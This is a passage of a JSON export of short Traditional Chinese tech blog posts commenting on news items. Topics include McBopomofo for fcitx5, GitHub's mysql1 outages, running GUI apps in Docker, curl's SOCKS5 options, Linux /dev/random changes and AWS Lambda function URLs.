    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到小麥輸入法宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下 <a href=\"https://github.com/fcitx/fcitx5\">fcitx5</a> 的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">我們今天公開了小麥注音 Linux 版。安裝方式請參考 fcitx5-mcbopomofo 的 GitHub 專案網頁: <a href=\"https://t.co/yWXR0viwUV\">https://t.co/yWXR0viwUV</a> <a href=\"https://t.co/11nFa4XbEF\">pic.twitter.com/11nFa4XbEF</a></p>&mdash; 小麥注音輸入法 (@McBopomofo) <a href=\"https://twitter.com/McBopomofo/status/1507855337629499394?ref_src=twsrc%5Etfw\">March 26, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n專案在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/openvanilla/fcitx5-mcbopomofo\">fcitx5-mcbopomofo: 小麥注音輸入法 fcitx5 模組</a>」這邊，因為我自己的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 桌機還是跑 fcitx 4.x (用酷音輸入法，裝的是 <a href=\"https://packages.ubuntu.com/focal/fcitx-chewing\">fcitx-chewing</a> 這個套件)，暫時先放著好了，但幫忙宣傳一下...\r\n\r\n也許可以找機會練習包到 Ubuntu 的 <a href=\"https://help.ubuntu.com/community/PPA\">PPA</a> 上面，等有空吧...",
    "title": "Linux 上 fcitx5 的小麥輸入法"
  },
  {
    "id": "10630",
    "body": "<a href=\"https://github.com/\">GitHub</a> 針對了這個月的四次 downtime 說明，大致上都跟 <code>mysql1</code> 這組 cluster 有關：「<a href=\"https://github.blog/2022-03-23-an-update-on-recent-service-disruptions/\">An update on recent service disruptions</a>」，這是 <a href=\"http://keithba.net/\">Keith Ballinger</a> 發的文章，找了一下掛的頭銜是 SVP of Engineering at GitHub。\r\n\r\n文章裡提到的 <code>mysql1</code> 在「<a href=\"https://github.blog/2021-09-27-partitioning-githubs-relational-databases-scale/\">Partitioning GitHub’s relational databases to handle scale</a>」這邊可以看到一些資訊 (我在「<a href=\"https://blog.gslin.org/archives/2021/09/30/10358/github-%E7%9A%84-mysql-%E6%9E%B6%E6%A7%8B%E8%88%87%E6%95%B8%E5%AD%97/\">GitHub 的 MySQL 架構與數字</a>」這邊也有提到)，基本上有 <a href=\"https://proxysql.com/\">ProxySQL</a> + <a href=\"https://vitess.io/\">Vitess</a> 兩套方案在 scale，但可以看出來主資料庫本身還是有很大的 loading 在上面跑。\r\n\r\n這次的問題是 <code>mysql1</code> 看起來這次遇到了效能上的瓶頸，不過還是沒找到原因，這可以從這幾次的說明看出來，從第一次的 outage：\r\n\r\n<blockquote>The incident appeared to be related to peak load combined with poor query performance for specific sets of circumstances.</blockquote>\r\n\r\n第二次的：\r\n\r\n<blockquote>The following day, we saw the same peak traffic pattern and load on mysql1. We were not able to pinpoint and address the query performance issues before this peak, and we decided to proactively failover before the issue escalated.</blockquote>\r\n\r\n第三次的：\r\n\r\n<blockquote>While we had reduced load seen in the previous incidents, we were not fully confident in the mitigations.</blockquote>\r\n\r\n<blockquote>In this third incident, we enabled memory profiling on our database proxy in order to look more closely at the performance characteristics during peak load.</blockquote>\r\n\r\n到最近第四次的：\r\n\r\n<blockquote>In order to reduce load, we throttled webhook traffic and will continue to use that as a mitigation to prevent future recurrence during peak load times as we continue to investigate further mitigations.</blockquote>\r\n\r\n可以看到基本上還沒完，之後再遇到問題時應該還是會把 webhook traffic 拿出來開刀...",
    "title": "這個月 GitHub 的不穩問題，都是 mysql1 這個 cluster 的鍋..."
  },
  {
    "id": "10631",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=30820894\">Firefox UI/UX History (github.com/black7375)</a>」這篇，整理了 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 UI/UX 歷史，裡面也試著分析各個不同版本的優缺點。\r\n\r\n話說看到這個最早的版本的 screenshot 讓人懷念 (還叫做 Phoenix 的版本)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nmgzhU3.webp\" /><img src=\"https://i.gslin.com/imgur/nmgzhU3.png\" alt=\"\" /></picture>\r\n\r\n裡面也提到了一些 fork，像是「Early (v1 ~ v3)」這個 UI 版本的 fork 還可以在 <a href=\"https://www.seamonkey-project.org/\">SeaMonkey</a> 看到。\r\n\r\n到了「Classic (v4, 2011.3)」這個版本，目前還有在維護的 fork 則是 <a href=\"https://www.palemoon.org/\">Pale Moon</a>，不過核心的部份沒有跟上，很多網站的新功能是沒辦法用的。\r\n\r\n接著是「Australis (v29, 2014.04)」這個版本，目前已經沒有在維護的 fork 了，2021 年年底 <a href=\"https://www.basilisk-browser.org/\">Basilisk</a> 宣佈停止維護。\r\n\r\n然後是「Photon (v57, 2017.11)」這個版本，目前還有在維護的 fork 是 <a href=\"https://www.waterfox.net/\">Waterfox</a> 的 G3 系列。\r\n\r\n目前最新的一個是「Proton (v89, 2021.06)」這個版本。",
    "title": "Firefox 的 UI/UX 歷史"
  },
  {
    "id": "10632",
    "body": "昨天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.trickster.dev/post/running-gui-apps-within-docker-containers/\">Running GUI apps within Docker containers</a>」這篇文章，裡面想要把程式包到 <a href=\"https://www.docker.com/\">Docker</a> container 裡面，然後給了一些想法，另外在「<a href=\"https://news.ycombinator.com/item?id=30810410\">Running GUI apps within Docker containers (trickster.dev)</a>」這邊也有一些討論與想法可以看。\r\n\r\n要注意的是，這邊主要是以 <a href=\"https://en.wikipedia.org/wiki/X_Window_System\">X11</a> 類的環境為主 (所以應該還是 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 了)，而文章是用 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 當例子，不過主要應該還是會拿來跑其他的東西...\r\n\r\n看起來 GUI 的部份主要就是先用 <a href=\"https://en.wikipedia.org/wiki/Virtual_Network_Computing\">VNC</a> + <a href=\"https://github.com/LibVNC/x11vnc\">x11vnc</a> 打通到 host 的 X11 環境，這邊會需要 <a href=\"https://en.wikipedia.org/wiki/X_Window_authorization\">xhost</a> 開授權讓 container 內的程式可以控制 X11 的環境 (話說他範例裡面直接開 <code>xhost +</code> 也真讚)。\r\n\r\n後面提到的 <a href=\"https://github.com/novnc/noVNC\">noVNC</a> 則是把 VNC 轉到 HTML5 上面讓瀏覽器可以操作，就不是那麼感興趣。\r\n\r\n另外在討論裡面也有人直接放大絕，把一堆權限放進去 container：\r\n\r\n<pre>docker run -it --rm -e DISPLAY --net=host -v $XAUTHORITY:/root/.Xauthority -v /tmp/.X11-unix:/tmp/.X11-unix debian:11-slim</pre>\r\n\r\n不過整體看起來算是提供了一些思路... 算是除了 <a href=\"https://www.flatpak.org/\">Flatpak</a> 外的一些方法。",
    "title": "在 Docker 裡面跑 GUI 程式的點子"
  },
  {
    "id": "10633",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30816135\">A userspace WireGuard client that exposes itself as a proxy (github.com/octeep)</a>」看到這個有趣的東西，可以把自己當作是一個 <a href=\"https://en.wikipedia.org/wiki/WireGuard\">WireGuard</a> client，然後透過 <a href=\"https://en.wikipedia.org/wiki/SOCKS\">SOCKS5</a> 界面讓使用者使用... 專案則是在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/octeep/wireproxy\">Wireguard client that exposes itself as a socks5 proxy</a>」這邊可以看到。\r\n\r\n除了軟體本身有支援 SOCKS5 的可以用以外，另外可以搭配透過 <code>LD_PRELOAD</code> 把 TCP 連線都轉進 SOCKS5 服務的套件來用，像是 <a href=\"http://tsocks.sourceforge.net/\">tsocks</a> 或是 <a href=\"https://github.com/darkk/redsocks\">redsocks</a> 這種工具。\r\n\r\n然後這包東西是用 <a href=\"https://go.dev/\">Golang</a> 寫的，好像剛好可以拿來練手包 Ubuntu <a href=\"https://help.ubuntu.com/community/PPA\">PPA</a>...",
    "title": "透過 SOCKS5 界面連進 WireGuard 網段的軟體 wireproxy"
  },
  {
    "id": "10635",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=30844149\">Show HN: Search Engine for Blogs (blogsurf.io)</a>」這邊看到又有 blog search engine 了，叫做 <a href=\"https://blogsurf.io/\">Blog Surf</a>。\r\n\r\n比較有趣的應該是留言裡面看到這個，已經掛掉的先人出來說，以前這個使用族群都是在打手槍的族群 XDDD\r\n\r\n<blockquote>mgarfias 12 hours ago\r\n\r\nWe, sphere.com, did this starting in 2006. After a year or so, we realized the only people using the service were looking to stroke their egos.\r\n\r\nIce rocket, and something else (I can’t remember the name) tried it at the same time and failed.\r\n\r\nWe pivoted, which ended up leading to some unspeakable horrors.\r\n\r\nAt any rate, good luck, hope it works better for you.</blockquote>\r\n\r\n回到 Blog Surf 來看，在 About 頁上提到了 <a href=\"https://dkb.io/post/market-rank\">MarketRank</a>，基本上就是服務作者提出來的演算法：\r\n\r\n<blockquote>Points are calculated using Market Rank. They are a measure of the popularity of a post across online communities. Blog points are simply the sum of a blog’s post points.</blockquote>\r\n\r\n不是太看好但就觀察看看...",
    "title": "又有 Blog Search Engine 了：Blog Surf"
  },
  {
    "id": "10636",
    "body": "<a href=\"https://en.wikipedia.org/wiki/SOCKS\">SOCKS</a>5 支援用 hostname 連線，而且是透過 SOCKS server 查 IP address，然後查資料的時候翻到「<a href=\"https://curl.se/mail/archive-2019-08/0020.html\">Curl: Re: ��: Why resolve the dns locally when using a socks5 proxy</a>」這篇，發現 <a href=\"https://curl.se/\">Curl</a> 的 <code>--socks5</code> 原來有雷，一般人會想要用的應該是 <code>--socks5-hostname</code> 才對 XDDD\r\n\r\n這是 <code>--socks5</code>：\r\n\r\n<blockquote>Use the specified SOCKS5 proxy - but resolve the host name locally. If the port number is not specified, it is assumed at port 1080.</blockquote>\r\n\r\n而這是 <code>--socks5-hostname</code>：\r\n\r\n<blockquote>Use the specified SOCKS5 proxy (and let the proxy resolve the host name). If the port number is not specified, it is assumed at port 1080.</blockquote>\r\n\r\n另外也有 <code>--socks4</code> 與 <code>--socks4a</code>，不過 SOCKS4a 的協定最主要就是加上 hostname 的連線：\r\n\r\n<blockquote>SOCKS4a extends the SOCKS4 protocol to allow a client to specify a destination domain name rather than an IP address; this is useful when the client itself cannot resolve the destination host's domain name to an IP address.</blockquote>\r\n\r\n然後隔壁棚的 <code>socks5://</code> 與 <code>socks5h://</code> 也有異曲同工之妙...",
    "title": "Curl 的 --socks5 與 --socks5-hostname"
  },
  {
    "id": "10638",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://scrapingfish.com/blog/scraping-instagram\">Scraping Instagram</a>」這個掃 <a href=\"https://www.instagram.com/\">Instagram</a> 資料的服務，討論在「<a href=\"https://news.ycombinator.com/item?id=30868738\">Scraping Instagram (scrapingfish.com)</a>」這邊。\r\n\r\n文章裡面有提到一些 API 的技術細節，不過我覺得這塊倒不是重點，真正的重點應該是後端應該用了很多 IP 換來換去之類的技術在避開偵測...\r\n\r\n另外這個服務讓我想到「<a href=\"https://en.wikipedia.org/wiki/HiQ_Labs_v._LinkedIn\">HiQ Labs v. LinkedIn</a>」這個案子 (之前寫過「<a href=\"https://blog.gslin.org/archives/2019/09/14/9209/hiq-%e7%88%ac-linkedin-%e8%b3%87%e6%96%99%e7%9a%84%e7%84%a1%e7%bd%aa%e5%88%a4%e6%b1%ba/\">hiQ 爬 LinkedIn 資料的無罪判決</a>」)，不確定 Instagram 這邊會不會提起訴訟，另外看起來這家公司好像也不在美國？\r\n\r\n收費的部份是每千次 US$2，考慮到那堆架構的成本與麻煩度，好像還可以...",
    "title": "掃 Instagram 資料的服務"
  },
  {
    "id": "10639",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30844872\">Implementing Cosine in C from Scratch (2020) (austinhenley.com)</a>」這篇 2020 的文章，原文是「<a href=\"https://austinhenley.com/blog/cosine.html\">Implementing cosine in C from scratch</a>」，裡面內在講自己刻三角函數的 <a href=\"https://en.wikipedia.org/wiki/Cosine\">cosine</a> 所遇到的一些嘗試。\r\n\r\ncosine 是很基本的函數，所以可以使用的地方很多。另外一方面，也因為他不是那麼直覺就可以實做出來，在現代的實做裡面其實藏了超多細節...\r\n\r\n不過真的有趣的是在翻 Hacker News 上的討論時陸陸續續翻其他的資料看到的知識。\r\n\r\n第一個看到的是 <a href=\"https://www.intel.com/\">Intel</a> 對於 FPU-based 指令集內的 <code>FSIN</code> 因為 <a href=\"https://en.wikipedia.org/wiki/Pi\">π</a> 的精度不夠而導致誤差超大 (尤其是在 0 點附近的時候)：「<a href=\"https://randomascii.wordpress.com/2014/10/09/intel-underestimates-error-bounds-by-1-3-quintillion/\">Intel Underestimates Error Bounds by 1.3 quintillion</a>」，然後 <a href=\"https://www.amd.com/\">AMD</a> 是「相容」到底，所以一樣慘：「<a href=\"https://stackoverflow.com/questions/60267049/accuracy-of-fsin-and-other-x87-trigonometric-instructions-on-amd-processors\">Accuracy of FSIN and other x87 trigonometric instructions on AMD processors</a>」。\r\n\r\n這個就是有印象，但是太久沒有提到就會忘記...\r\n\r\n第二個是 <a href=\"https://musl.libc.org/\">musl</a> libc 裡的 cosine 實做 (看註解應該是從 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 的 libc 移植過來的？)：「<a href=\"https://git.musl-libc.org/cgit/musl/tree/src/math/__cos.c\">__cos.c\\math\\src</a>」與「<a href=\"https://git.musl-libc.org/cgit/musl/tree/src/math/cos.c\">cos.c\\math\\src</a>」(話說 <a href=\"https://git.zx2c4.com/cgit/\">cgit</a> 在 html 內 <code>title</code> 的內容對路徑的表達方式頗有趣，居然是反過來放...)。\r\n\r\n拆開的部份是先將範圍限制在 [latex][-\\pi/4, \\pi/4][/latex] 後 (這個部份看起來是透過 <a href=\"https://git.musl-libc.org/cgit/musl/tree/src/math/__rem_pio2.c\">__rem_pio2.c</a> 處理)，再丟進公式實際運算。\r\n\r\n另外帶出來第三個知識，查資料的時候翻到 <a href=\"https://en.wikipedia.org/wiki/Double-precision_floating-point_format\">binary64</a> (這也是 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 語言裡面的 <code>double</code>) 與 binary128 的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/K19j0lu.webp\" /><img src=\"https://i.gslin.com/imgur/K19j0lu.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FpyPOAn.webp\" /><img src=\"https://i.gslin.com/imgur/FpyPOAn.png\" alt=\"\" /></picture>\r\n\r\n而大家很常拿來惡搞的 <a href=\"https://en.wikipedia.org/wiki/Double-double_arithmetic\">double double</a> 則是利用兩個 <code>double</code> 存放，形式是 [latex]v = head + tail[/latex]，利用不同的 exponent 表示來不同部份的值，以提高經度：\r\n\r\n<blockquote>A common software technique to implement nearly quadruple precision using pairs of double-precision values is sometimes called double-double arithmetic.</blockquote>\r\n\r\n不過這樣的精確度只能到 106 bits，雖然跟 binary128 能達到的 113 bits 相比低了一些，但在大多數的情況下也還算夠用：\r\n\r\n<blockquote>Using pairs of IEEE double-precision values with 53-bit significands, double-double arithmetic provides operations on numbers with significands of at least[4] 2 × 53 = 106 bits (...), only slightly less precise than the 113-bit significand of IEEE binary128 quadruple precision.</blockquote>",
    "title": "從三角函數 cosine 的實做問題學一些週邊知識..."
  },
  {
    "id": "10640",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30848973\">Problems emerge for a unified /dev/*random (lwn.net)</a>」的，原文是「<a href=\"https://lwn.net/Articles/889452/\">Problems emerge for a unified /dev/*random</a>」(付費內容，但是可以透過 Hacker News 上的連結直接看)。\r\n\r\n標題提到的兩個 device 的性質會需要一些背景知識，可以參考維基百科上面「<a href=\"https://en.wikipedia.org/wiki//dev/random\">/dev/random</a>」這篇的說明，兩個都是 <a href=\"https://en.wikipedia.org/wiki/Cryptographically-secure_pseudorandom_number_generator\">CSPRNG</a>，主要的分別在於 <code>/dev/urandom</code> 通常不會 block：\r\n\r\n<blockquote>The <code>/dev/urandom</code> device typically was never a blocking device, even if the pseudorandom number generator seed was not fully initialized with entropy since boot.</blockquote>\r\n\r\n而 <code>/dev/random</code> 不保證不會 block，有可能會因為 entropy 不夠而卡住：\r\n\r\n<blockquote><code>/dev/random</code> typically blocked if there was less entropy available than requested; more recently (see below, different OS's differ) it usually blocks at startup until sufficient entropy has been gathered, then unblocks permanently.</blockquote>\r\n\r\n然後順便講一下，因為這是 crypto 相關的設計修改，加上是 kernel level 的界面，安全性以及相容性都會是很在意的點，而 Hacker News 上的討論裡面很多是不太在意這些的，你會看到很多「很有趣」的想法在上面討論 XDDD\r\n\r\n回到原來的文章，Jason A. Donenfeld (Linux kernel 裡 RNG maintainer 之一，不過近期比較知名的事情還是 <a href=\"https://www.wireguard.com/\">WireGuard</a> 的發明人) 最近不斷的在改善 Linux kernel 裡面這塊架構，這次打算直接拿 <code>/dev/random</code> 換掉 <code>/dev/urandom</code>：「<a href=\"https://lwn.net/Articles/884875/\">Uniting the Linux random-number devices</a>」。\r\n\r\n不過換完後 <a href=\"https://www.google.com/\">Google</a> 的 Guenter Roeck 就在抱怨在 <a href=\"https://www.qemu.org/\">QEMU</a> 環境裡面炸掉了：\r\n\r\n<blockquote>This patch (or a later version of it) made it into mainline and causes a large number of qemu boot test failures for various architectures (arm, m68k, microblaze, sparc32, xtensa are the ones I observed). Common denominator is that boot hangs at \"Saving random seed:\". A sample bisect log is attached. Reverting this patch fixes the problem.</blockquote>\r\n\r\n他透過 <a href=\"https://git-scm.com/docs/git-bisect\">git bisect</a> 找到發生問題的 commit，另外從卡住的訊息也可以大概猜到在虛擬機下 entropy 不太夠。\r\n\r\n另外從他們三個 (加上 <a href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\">Linus</a>) 在 mailing list 上面討論的訊息可以看到不少交流：「<a href=\"https://lwn.net/ml/linux-kernel/YjoC5kQMqyC%2F3L5Y@zx2c4.com/\">Re: [PATCH v1] random: block in /dev/urandom</a>」，包括嘗試「餵」entropy 進 <code>/dev/urandom</code> 的 code...\r\n\r\n後續看起來還會有一些嘗試，但短期內看起來應該還是會先分開...",
    "title": "Linux 打算合併 /dev/random 與 /dev/urandom 遇到的問題"
  },
  {
    "id": "10641",
    "body": "看到「<a href=\"https://diff.wikimedia.org/2022/03/31/announcing-www-wikimediastatus-net/\">Announcing www.wikimediastatus.net</a>」這個，維基基金會相關服務的官方狀態頁：「<a href=\"https://www.wikimediastatus.net/\">www.wikimediastatus.net</a>」。\r\n\r\n從頁面下面的「Powered by Atlassian Statuspage」這邊可以看出來是使用 <a href=\"https://www.atlassian.com/software/statuspage\">Statuspage</a> 這個服務。\r\n\r\n看起來當 server error 狂噴的時候這邊應該有機會看到 (剛好前陣子好像有發生)，另外 Total request volume 這個指標也透漏了目前整個維基基金會服務尖峰會有 150Kreqs/sec 的量，可以預期大多數應該都是維基百科相關的服務...\r\n\r\n不過大多數的量應該都是從 cache server 吐出去，不知道有沒有後端 PHP loading 的數字...",
    "title": "維基基金會 (包括維基百科) 的官方服務狀態頁"
  },
  {
    "id": "10642",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的公告，超過兩年的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> AMIs (Amazon Machine Images) 將會被標為 deprecated：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/03/amazon-machine-images-public-visibility-two-years/\">Amazon EC2 now reduces visibility of public Amazon Machine Images (AMIs) older than two years</a>」。\r\n\r\n標成 deprecated 後主要的差異會是在 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html\">DescribeImages</a> 這隻 API 上，除了 image 的擁有人外，其他人都不會顯示出來：\r\n\r\n<blockquote>Once an AMI is deprecated, it will no longer appear in DescribeImages API calls for users that aren’t the owner of the AMI.</blockquote>\r\n\r\n不過知道 AMI 的 id 還是可以直接開：\r\n\r\n<blockquote>Users of a deprecated AMI can continue to launch instances and describe the deprecated AMI using its ID.</blockquote>\r\n\r\n沒有特地說明原因，但應該是考慮到安全性，這年頭超過兩年不更新的系統大概都有一堆洞？不過馬上就想到 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 好像未必...",
    "title": "AWS 將會把超過兩年的 EC2 AMI 自動設為 Deprecated"
  },
  {
    "id": "10643",
    "body": "好像沒有提過「<a href=\"https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin\">Chrome extension source viewer</a>」這個套件，來介紹一下...\r\n\r\n這個套件可以在尚未安裝前看 <a href=\"https://chrome.google.com/webstore/\">Chrome Web Store</a> 裡 extension 的原始程式碼，算是可以在安裝前看一下 extension 在幹什麼。\r\n\r\n以前還會遇到會 obfuscated code，導致很難看出來在幹什麼，但在 2018 年以後 <a href=\"https://www.google.com/\">Google</a> 公告直接禁止這類行為，就不太會遇到這種情況了 (除非是很舊的 extension)：「<a href=\"https://blog.chromium.org/2018/10/trustworthy-chrome-extensions-by-default.html\">Trustworthy Chrome Extensions, by default</a>」。\r\n\r\n先前跟 <a href=\"https://brave.com/\">Brave</a> 還會打架，不過後來看起來沒這個問題了...",
    "title": "可以看 Chrome Extension 程式碼的 Chrome extension source viewer"
  },
  {
    "id": "10644",
    "body": "寫完上一篇「<a href=\"https://blog.gslin.org/archives/2022/04/03/10643/%e5%8f%af%e4%bb%a5%e7%9c%8b-chrome-extension-%e7%a8%8b%e5%bc%8f%e7%a2%bc%e7%9a%84-chrome-extension-source-viewer/\">可以看 Chrome Extension 程式碼的 Chrome extension source viewer</a>」後就可以來提「<a href=\"https://www.ghacks.net/2022/03/29/fake-profile-detector-tells-you-if-people-are-real-or-fake-online/\">Fake Profile Detector tells you if people are real or fake online</a>」這個了，文章裡面在介紹 <a href=\"https://www.v7labs.com/\">V7Labs</a> 所提供的 Chrome Extension：「<a href=\"https://chrome.google.com/webstore/detail/fake-profile-detector-dee/jbpcgcnnhmjmajjkgdaogpgefbnokpcc\">Fake Profile Detector (Deepfake, GAN)</a>」。\r\n\r\n從套件的名字可以看出來他主要是偵測 GAN (<a href=\"https://en.wikipedia.org/wiki/Generative_adversarial_network\">Generative adversarial network</a>) 類的類神經網路，這點在套件裡面說明也可以看到：\r\n\r\n<blockquote>Right-click on a profile picture, our model will detect if that image contains a GAN generated or real person!</blockquote>\r\n\r\n實際上測試時要注意要儘量抓夠大的圖片丟進去測，像是 Generative adversarial network 維基百科這頁裡面「Concerns about malicious applications」這個章節右邊兩張 GAN 生成的圖，如果你用維基百科預設的縮圖大小 (220x220)，上面這張會猜測是真人，下面那張會猜測是假人。\r\n\r\n但如果到大一點的圖 (600x600) 的話就都會猜測是假人：「<a href=\"https://en.wikipedia.org/wiki/File:Woman_1.jpg\">File:Woman 1.jpg</a>」、「<a href=\"https://en.wikipedia.org/wiki/File:GAN_deepfake_white_girl.jpg\">File:GAN deepfake white girl.jpg</a>」，原圖 1024x1024 的話也可以偵測出來。\r\n\r\n然後 source code 就在那邊可以看 API 怎麼打，大家可以自己研究...",
    "title": "V7Labs 提供的 Chrome Extension，偵測圖片是否為人工智慧生成的"
  },
  {
    "id": "10645",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30865423\">Pointer Tagging for x86 Systems (lwn.net)</a>」這篇，在講目前的 64 bits 環境下還不可能提供整個 64 bits 可以定位的位置，所以 pointer 裡面比較高的那些位置就可以被拿來挪去其他用的想法。\r\n\r\n先算了一下數字，如果以 8 bits 為一個單位來算，之前經典的 32 bits 定位空間是 4GB，40 bits 是 1TB，這兩個都已經有機器可以做到了 (<a href=\"https://aws.amazon.com/\">AWS</a> 提供的 <code>u-12tb1.112xlarge</code> 是 12TB)。\r\n\r\n接下來的 48 bits 的時候可以到 256TB，這個不確定目前有沒有單一機器可以做到 (印象中 <a href=\"https://www.ibm.com/\">IBM</a> 好像很喜歡幹這個？)，56 bits 則是到 64PB，最後的 64 bits 則是 16EB。\r\n\r\n真的是沒注意到...",
    "title": "Pointer tagging"
  },
  {
    "id": "10647",
    "body": "兩個月前在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的討論，有人想要知道誰在 <a href=\"https://en.wikipedia.org/wiki/X11\">X11</a> 下存取剪貼簿：「<a href=\"https://news.ycombinator.com/item?id=30193091\">Who keeps an eye on clipboard access? (ovalerio.net)</a>」，原文在「<a href=\"https://blog.ovalerio.net/archives/2346\">Who keeps an eye on clipboard access?</a>」這邊，作者用 <a href=\"https://www.python.org/\">Python</a> 寫的程式則是在「<a href=\"https://github.com/dethos/clipboard-watcher\">clipboard-watcher</a>」這邊。\r\n\r\n馬上有想到 <a href=\"https://www.apple.com/ios/\">iOS</a> 在 2020 年推出的機制：「<a href=\"https://9to5mac.com/2020/06/24/ios-14-clipboard-notifications/\">iOS 14 clipboard notifications are annoying, but developer adoption of a new API will improve the experience</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EPhqPqX.webp\" /><img src=\"https://i.gslin.com/imgur/EPhqPqX.jpg\" alt=\"\" /></picture>\r\n\r\n不過在 X11 上跑起來會發現冒出來的資訊量有點大，像是在瀏覽器操作 <a href=\"https://wordpress.org/\">WordPress</a> 寫文章時剪剪貼貼的時候就會狂噴，如果可以提供程式的白名單的話就更好了，畢竟是我直接把 clipboard API 裡讀取的功能直接拔掉 (但網站還是可以寫進去就是了)，對我來說不會在意 browser 寫進去的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7usdaYj.webp\" /><img src=\"https://i.gslin.com/imgur/7usdaYj.png\" alt=\"\" /></picture>\r\n\r\n另外程式有時候會卡住 (尤其是遇到圖片的剪輯時)，算是 bug 吧...\r\n\r\n然後 Hacker News 的討論串裡面有人提到一個有趣的設計，他希望限制那些不在焦點上面的程式去碰 clipboard：\r\n\r\n<blockquote>By far the worst offense I've seen in clipboard privacy on the Linux desktop is RedHat's virt-manager. It sends your clipboard AND selection content to all virtual machines, even when they are not focused, with no indication that it's happening, and with no GUI option to turn it off. This is at odds with the common practice of running untrusted code in virtual machines.</blockquote>\r\n\r\n這個想法好像不賴，理論上 clipboard 應該是在有互動的時候才會碰到的東西...",
    "title": "觀察誰在存取剪貼簿的工具 (X11 下)"
  },
  {
    "id": "10648",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://laravel-news.com/laravel-dynamodb\">Laravel DynamoDB Eloquent Models and Query Builder</a>」這篇文章，裡面講「<a href=\"https://github.com/kitar/laravel-dynamodb\">Laravel DynamoDB</a>」這個套件，可以在 <a href=\"https://www.php.net/\">PHP</a> (以及 <a href=\"https://laravel.com/\">Laravel</a>) 下存取 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a>。\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Laravel DynamoDB Eloquent Models and Query Builder <a href=\"https://t.co/xOhRWqEZTW\">https://t.co/xOhRWqEZTW</a> posted by <a href=\"https://twitter.com/paulredmond?ref_src=twsrc%5Etfw\">@paulredmond</a></p>&mdash; Laravel News (@laravelnews) <a href=\"https://twitter.com/laravelnews/status/1511330381806592007?ref_src=twsrc%5Etfw\">April 5, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n雖然套件提到了 Laravel，但文件裡面也有提到支援非 Laravel 的 PHP 環境下使用，單獨拿出來用也沒問題，比較重要的反倒是 DynamoDB 對各種 key 的概念。\r\n\r\n如果是從零開始設計，但又不想要自己管資料庫，我會偏好先用 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 設計，無論是 <a href=\"https://dev.mysql.com/\">MySQL</a> 或是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的版本都行，畢竟 RDBMS 上面能做的事情比較多，對開發者比較友善，除非是第一天上線你就預期量會大到連 <code>db.m5.24xlarge</code> 都擋不住之類的情況...",
    "title": "PHP (以及 Laravel) 下使用 DynamoDB 的 ORM 工具"
  },
  {
    "id": "10650",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 可以直接有一個 HTTPS Endpoint 了：「<a href=\"https://aws.amazon.com/blogs/aws/announcing-aws-lambda-function-urls-built-in-https-endpoints-for-single-function-microservices/\">Announcing AWS Lambda Function URLs: Built-in HTTPS Endpoints for Single-Function Microservices</a>」。\r\n\r\n如同文章裡面提到的，先前得透過 <a href=\"https://aws.amazon.com/api-gateway/\">API Gateway</a> 或是 <a href=\"https://aws.amazon.com/elasticloadbalancing/application-load-balancer/\">ALB</a> 才能掛上 Lambda：\r\n\r\n<blockquote>Each function is mapped to API endpoints, methods, and resources using services such as Amazon API Gateway and Application Load Balancer.</blockquote>\r\n\r\n現在則是提供像 <code>verylongid.lambda-url.us-east-1.on.aws</code> 這樣的網域名稱給你用，而且看說明似乎是直接包含在本來的 Lambda 價錢內？就不用另外搞 API Gateway 或是 ALB 了：\r\n\r\n<blockquote>Function URLs are included in Lambda’s request and duration pricing. For example, 